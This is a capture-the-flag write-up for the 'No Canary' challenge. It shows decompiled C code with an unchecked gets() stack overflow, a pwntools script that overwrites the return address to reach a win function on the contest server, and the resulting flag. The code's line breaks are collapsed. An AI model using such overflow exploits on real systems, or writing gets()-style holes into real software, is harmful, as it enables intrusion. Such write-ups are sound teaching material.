# No Canary (470 solves)
main:
```c++int  main(int argc, const char **argv, const char **envp){  char v4;  __gid_t rgid;
  setvbuf(stdin, 0LL, 2, 0LL);  setvbuf(_bss_start, 0LL, 2, 0LL);  rgid = getegid();  setresgid(rgid, rgid, rgid);  puts("Ahhhh, what a beautiful morning on the farm!\n");  puts("       _.-^-._    .--.");  puts("    .-'   _   '-. |__|");  puts("   /     |_|     \\|  |");  puts("  /               \\  |");  puts(" /|     _____     |\\ |");  puts("  |    |==|==|    |  |");  puts("  |    |--|--|    |  |");  puts("  |    |==|==|    |  |");  puts("^^^^^^^^^^^^^^^^^^^^^^^^\n");  puts("Wait, what? It's already noon!");  puts("Why didn't my canary wake me up?");  puts("Well, sorry if I kept you waiting.");  printf("What's your name? ");  gets(&v4;;	// vuln function  printf("Nice to meet you, %s!\n", &v4;;  return 0;}```
Solution:
```pythonfrom pwn import *
r = remote('shell.actf.co', 20700)
payload = b''payload += b'A'*40payload += p64(0x401186)r.sendafter('name? ', payload)r.interactive()```
```bash$ ls                                                                                                                    Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x11!                                                     actf{that_gosh_darn_canary_got_me_pwned!}                                                                               Segmentation fault```
